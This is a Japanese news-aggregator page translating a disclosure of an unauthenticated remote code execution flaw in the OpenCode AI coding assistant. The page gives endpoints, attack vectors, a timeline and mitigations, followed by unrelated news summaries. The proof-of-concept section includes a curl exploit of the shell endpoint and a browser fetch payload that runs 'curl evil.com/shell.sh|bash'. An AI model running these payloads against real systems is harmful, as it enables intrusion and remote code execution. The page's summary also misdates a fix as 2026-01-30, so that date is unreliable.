**OpenCode における認証不要のリモートコード実行脆弱性**

2026/01/12 7:33

**OpenCode における認証不要のリモートコード実行脆弱性**

RSS: https://news.ycombinator.com/rss

要約

Japanese Translation:

Summary:

OpenCode の以前のリリース(v1.1.10 より前)では、認証不要な HTTP サーバーがポート 4096+ でリッスンしていました。この隠れたサービスにより、誰でもシェルコマンドを送信したり、PTY セッションを開いたり、任意のファイルを読み取ったりすることができました。ログインや可視的な指標は不要でした。デフォルト設定では v1.1.10 でのみ機能が無効化されていましたが、コマンドラインフラグまたは設定編集により再度有効化することが可能であり、CORS ポリシーは誤って任意の

*.opencode.ai
オリジンから API アクセスを許可していました。セキュリティ研究者は単純な
curl
リクエストとブラウザ fetch を用いて攻撃を実演し、修正前にリモートコード実行およびデータ外部転送が可能であることを示しました。

この問題は 2026‑01‑30 に v1.0.216(CORS 制限)で部分的に緩和され、数日後の 2026‑01‑09 に完全なデフォルト無効化が導入されました。ユーザーは ≥ v1.1.10 へのアップグレードを推奨し、サーバー設定を確認し、

--mdns
フラグの使用を避け、脆弱なサービスが有効な間は opencode.ai の訪問を控えるようにしてください。開発者は認証の強制、明確なランタイム指標の追加、CORS の厳格化、TLS の有効化、およびドキュメントの改善を行うべきです。

パッチが未適用の場合、影響を受けるユーザーは自分のマシン上で任意コード実行のリスクがあり、古い OpenCode バージョンを使用している企業ではデータ漏洩につながる可能性があります。この事件は、デフォルト設定の強化と業界全体でのセキュリティパッチ適用の迅速さの重要性を浮き彫りにしています。

Summary Skeleton

What the text is mainly trying to say (main message)
OpenCode は v1.1.10 より前に認証不要な HTTP サーバーを持ち、リモートコード実行とファイル読み取りが可能であったことを伝えています。

Evidence / reasoning (why this is said)
サーバーはデフォルトでポート 4096+ で起動し、シェルコマンド、PTY セッション、任意ファイルの読み取りを受け付けていました。v1.1.10 で初めてデフォルト無効化されましたが、フラグや設定変更により再有効化でき、CORS は

*.opencode.ai
オリジン全てを許可していました。

Related cases / background (context, past events, surrounding info)
部分的な緩和(CORS 制限)は 2026‑01‑30 の v1.0.216 に、完全なデフォルト無効化は 2026‑01‑09 の v1.1.10 に実装されました。攻撃ベクトルはローカルコード実行からネットワークアクセスまで多岐にわたり、

--mdns
フラグ使用時にはさらなる脆弱性が確認されています。

What may happen next (future developments / projections written in the text)
ユーザーは ≥ v1.1.10 へのアップグレードを行い、サーバー設定の確認、

--mdns
フラグ回避、opencode.ai の訪問中止を実施すべきです。開発者は認証強制、ランタイム指標追加、CORS 厳格化、TLS 有効化、ドキュメント改善に努める必要があります。

What impacts this could have (users / companies / industry)
影響を受けたユーザーは任意コード実行のリスクがあり、企業ではデータ漏洩やセキュリティ侵害が発生する恐れがあります。業界全体としてはデフォルト設定の強化と迅速なパッチ適用が求められます。

本文

対象ソフトウェア:
OpenCode(npmパッケージ

opencode-ai


TL;DR

  • v1.1.10以前 – OpenCode は起動時に認証無しで自動的に Web サーバーを立ち上げ、ピアが任意のコードを実行できるようにしていました。
  • v1.0.216以前 – OpenCode が稼働していると、ユーザー操作や設定なしに任意のウェブサイトからマシン上でコードが実行可能でした。
  • v1.1.10以降 – サーバーはデフォルトで無効化されていますが、有効化(フラグまたは設定)すると完全に認証無しの状態になります。

脆弱性概要

OpenCode はオープンソースの AI コーディングアシスタントです。
v1.1.10以前、起動時にポート ≥ 4096 で HTTP サーバーを自動的に立ち上げていました。このサーバーは以下のエンドポイントを公開します:

  • POST /session/:id/shell
    – 任意のシェルコマンド実行
  • POST /pty
    – インタラクティブ端末セッション作成
  • GET /file/content
    – 任意ファイル読み取り

サーバーには 認証機能が無いため、接続できるクライアントは OpenCode を起動しているユーザー権限で完全にコードを実行できます。サーバーが稼働中かどうかを示す可視的なインジケータはありません。

注: CORS ポリシーでは

*.opencode.ai
が許可されたオリジンとしてハードコーディングされています。
opencode.ai
またはそのサブドメインから提供されるページは、サーバーが稼働している場合に API にアクセスできます。
opencode.ai
の侵害や任意のサブドメインでの XSS があれば、サーバーを有効化したすべてのユーザーが危険にさらされます。


攻撃ベクトル

攻撃ベクトル対象バージョン状況ベンダーアドバイザリ
任意のウェブサイトから OpenCode ユーザーのマシンでコード実行
< 1.0.216
v1.0.216 で修正済み(サイレント)
ローカルマシン上の任意プロセスが OpenCode ユーザー権限でコード実行
< 1.1.10
v1.1.10 で緩和済み(サイレント)
localhost/127.0.0.1 から提供される任意ページがコード実行
< 1.1.10
v1.1.10 で緩和済み(サイレント)
サーバー有効時にローカルプロセスが認証無しでコード実行全バージョン未修正None
サーバー有効時に localhost/127.0.0.1 から提供されるページがコード実行全バージョン未修正None
サーバー稼働中の可視的インジケータ無し(ユーザーは暴露を認識できない)全バージョン未修正None
--mdns
を使用するとローカルネットワーク上の任意マシンがコード実行可能
全バージョン未修正None
*.opencode.ai
がサーバー稼働時にコード実行できる
全バージョン未修正None
opencode.ai
が侵害されればサーバー有効ユーザー全員がアクセス可能
全バージョン未修正None
opencode.ai
上の任意 XSS がサーバー有効ユーザーを攻撃可能
全バージョン未修正None

証明実装

ローカルでの悪用(サーバー有効時)

API="http://127.0.0.1:4096"
SESSION=$(curl -s -X POST "$API/session" \
  -H "Content-Type: application/json" -d '{}' | jq -r '.id')
curl -s -X POST "$API/session/$SESSION/shell" \
  -H "Content-Type: application/json" \
  -d '{"agent":"build","command":"id > /tmp/pwned.txt"}'

ブラウザベースの悪用(v1.0.216以前)

fetch('http://127.0.0.1:4096/session', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: '{}'
}).then(r => r.json()).then(s => {
  fetch(`http://127.0.0.1:4096/session/${s.id}/shell`, {
    method: 'POST',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({agent:'build', command:'curl evil.com/shell.sh|bash'})
  })
})

Firefox で動作確認済み。Chrome は Local Network Access 保護によりプロンプトが表示される可能性があります。


ユーザー向け緩和策

  • 直ちに実施すべきこと
    • バージョン確認:
      opencode --version
    • v1.1.10 以降へ更新(デフォルトでサーバーは無効)
    • 設定ファイル (
      server.port
      ,
      server.hostname
      ) を確認し、サーバーが静かに有効化されていないかチェック
    • --mdns
      フラグを使用する場合は、
      0.0.0.0
      にバインドしていることを理解
    • サーバーを有効にしたまま
      opencode.ai
      やそのサブドメインへのアクセスは避ける
    • ローカルプロセスが認証無しでサーバーに接続できる点を留意

開示タイムライン

日付行動初回開示時の対応
2025‑11‑17support@sst.dev(SECURITY.md に従い)へ報告無回答
2025‑12‑27GitHub Security Advisory を提出無回答
2025‑12‑29別ユーザーによる独立公開報告
2025‑12‑30CORS を v1.0.216 で限定的に修正
2026‑01‑07コミュニティ Discord にエスカレーション無回答
2026‑01‑08Issue コメントでフォローアップ上流が issue に応答
2026‑01‑09v1.1.10 でサーバーをデフォルト無効化
2026‑01‑11完全公開開示

推奨事項

  • CORS を最小限に制限(v1.0.216 で実装済み)
  • サーバーをデフォルトで無効化(v1.1.10 で実装済み)
  • 全てのサーバーリクエストに認証を必須化
  • サーバー稼働時の明示的表示(起動メッセージや UI インジケータなど)を導入
  • --mdns
    のドキュメントを改善し、
    0.0.0.0
    バインドとローカルネットワーク全体へのアクセス許可を明確化
  • ネットワーク通信で TLS を強制適用
  • GitHub Security Advisory(公開済み;CVE は保留中)を発行
  • セキュリティ報告メールアドレスの監視を徹底
  • GHSA 通知のモニタリング
  • OpenCode メンテナ、
    opencode.ai
    、OpenCode ユーザー間の信頼関係を明確化

連絡先
開示に関する質問は

cy.md

更新日:2026‑01‑12
Code analysis and documentation assisted by Claude AI (Opus 4.5).

同じ日のほかのニュース

一覧に戻る →

2026/01/13 4:27

了解しました!内容は明確で簡潔に保ちます。余分な改行や不必要な記号は入れず、リストがある場合は読みやすいようにきちんとインデントします。他にご要望がございましたら、お気軽にお知らせくださいね!

## Japanese Translation: **改訂された概要** CoworkはClaude Maxをベースにしたリサーチプレビュー・ツールで、現在はmacOSアプリを通じてMaxサブスクライバー向けに利用可能です。ユーザーが自分のコンピュータ上の特定フォルダへのClaudeのアクセス権を付与すると、そのフォルダ内のファイルを読み取り・編集・作成できるようになります。これにより、ダウンロードの整理、スクリーンショットからスプレッドシートを生成すること、散在したメモからレポートをドラフトするなどのタスクが便利に行えます。 標準的なチャットとは異なり、CoworkはAIにより大きな主体性を与えます。AIはタスクを計画し、実行し、進捗状況を提供します。このツールはClaude Codeと基盤を共有しており、非コーディングの文脈でもコード風の対話が可能です。ユーザーは既存のコネクター(例:ドキュメントやプレゼンテーション)をリンクしたり、Chromeとのペアリングでウェブ閲覧を行ったりして機能を拡張できます。AIは複数タスクをキューに入れ、並列実行することで前後のチャットを減らします。 制御権はユーザーに残ります:Claudeが見るフォルダとコネクターを選択し、大きな操作を行う前にプロンプトが表示されます。ただし、誤った指示でファイルが削除されたり、プロンプトインジェクションが発生するリスクもあるため、安全対策は継続的に開発中です。 このプレビューはフィードバックを集めることを目的としており、将来のリリースではデバイス間同期、Windowsサポート、強化された安全機能、および拡張されたコネクターオプションが追加される可能性があります。Coworkは個人向けにファイル整理を効率化し、手動監視を保ちながらファイルベースのワークフローを自動化する制御可能なAIアシスタントとして設計されています。

2026/01/13 1:04

**TimeCapsuleLLM:** 1800年〜1875年のデータのみで訓練された大規模言語モデル (Note: The length is preserved while using natural, polite Japanese.)

## Japanese Translation: ``` ## Summary TimeCapsule LLM プロジェクトは、歴史的な英語データのみを使用して言語モデルをゼロから構築し、現代のバイアス(「Selective Temporal Training」)を排除します。 - **Model evolution** - *v0* (16 M パラメータ、nanoGPT ベース) は約187 MB の1800年代テキストで訓練され、1800年代風の言語を生成しましたが、一貫性のない文になりました。 - *v0.5* (123 M パラメータ、引き続き nanoGPT) はコーパスを約435 MB に拡張し、文法・句読点を改善しましたが、高い幻覚と OCR ノイズに悩まされました。 - *v1* (700 M パラメータ、Phi 1.5 ベース) は約6.25 GB のデータで訓練され、歴史的事件や人物を正確に思い出せるようになりました。 - *v2mini‑eval1* (300 M パラメータ、90 GB London コーパス全体の15 GBサンプル) はわずか10 K ステップで訓練され、トークナイズ問題により「Who is Charles Dickens?」のような文字化けした出力が生成されました。 - *v2mini‑eval2* (v2mini‑eval1 と同じサイズ・データ) はチャールズ・ダーウィンについて極めて不連続なテキストを生成しました。 - **Dataset** 完全版 v2 データセットは1800–1875 年のロンドン テキストで 90 GB を含み、136,344 ドキュメントから構成されています。15 GB のサンプルは Hugging Face(https://huggingface.co/datasets/haykgrigorian/TimeCapsuleLLM-London-1800-1875-v2-15GB)で公開されています。 - **Training setup** *v0/v0.5* は GeForce RTX 4060 GPU、i5‑13400F CPU、および 16 GB RAM を使用しました。 *v1* と *v2mini‑eval1* はレンタル NVIDIA A100 SXM GPU 上で訓練されました。 - **Tokenization & evaluation** 時代固有のスペリングと語彙に対応するカスタムトークナイザー(vocab.json & merges.txt)を構築しました。出力は言語的正確さ、幻覚率、およびトークナイズ品質で評価され、バイアス統計は別途 v2 バイアスレポートに記載されています。 - **Future work** 今後の計画として、完全版 90 GB v2 データセットへの拡張、トークナイザーパイプラインの改良、およびより深いバイアス分析を実施します。 - **Impact** このプロジェクトは、歴史家・教育者・AI‑ethics 開発者が時代に即した言語モデルを必要とする際に有益であり、現代バイアスを減らすための時間的選択訓練(temporal selective training)の具体例として NLP コミュニティにも貢献します。 ```

2026/01/13 5:26

ファブリス・ベルラール氏のTS Zip(2024)

## 日本語訳: **概要** ts_zip は、GPU を活用したテキスト圧縮ツールであり、RWKV 169M v4 大規模言語モデル(パラメータを 8 ビットに量子化し、BF16 で評価)を使用してトークン確率を予測し、その予測に基づいて算術符号化を適用します。従来のツールよりも高い圧縮率を達成しています: - alice29.txt – **1.142 bpb**(21,713 B) - book1 – **1.431 bpb**(137,477 B) - enwik8 – **1.106 bpb**(13,825,741 B) - enwik9 – **1.084 bpb**(135,443,237 B) - linux‑1.2.13.tar – **1.021 bpb**(1,196,859 B)。 RTX 4090 上では、ツールは約 1 MB/s の速度で圧縮し、同程度の速度で解凍します。システムに少なくとも **4 GB の RAM** があることが前提です。ts_zip は実験的なものであり、バージョン間の後方互換性は保証されません。また、その性能評価は GPU/CPU またはスレッド数に依存せず、決定論的に行われます。この手法はプレーンテキストファイルで最も効果を発揮し、バイナリデータではエントロピーの削減がほとんど得られません。主に英語で訓練されていますが、他言語やソースコードにも比較的適切に対応します。 ダウンロードリンク: - Linux tarball: `ts_zip‑2024‑03‑02.tar.gz` - Windows ZIP: `ts_zip‑2024‑03‑02-win64.zip` 将来のリリースでは、圧縮率をさらに向上させ、言語サポートを拡大し、可能ならファイルタイプの取り扱いを追加しつつ、ハードウェア間で評価が再現できるようにすることを目指します。GPU リソースを持つユーザー(データアーカイブ担当者や大量テキストコーパスを管理する開発者など)にとって、速度を犠牲にせず高い圧縮率を実現できる最適なツールです

**OpenCode における認証不要のリモートコード実行脆弱性** | そっか~ニュース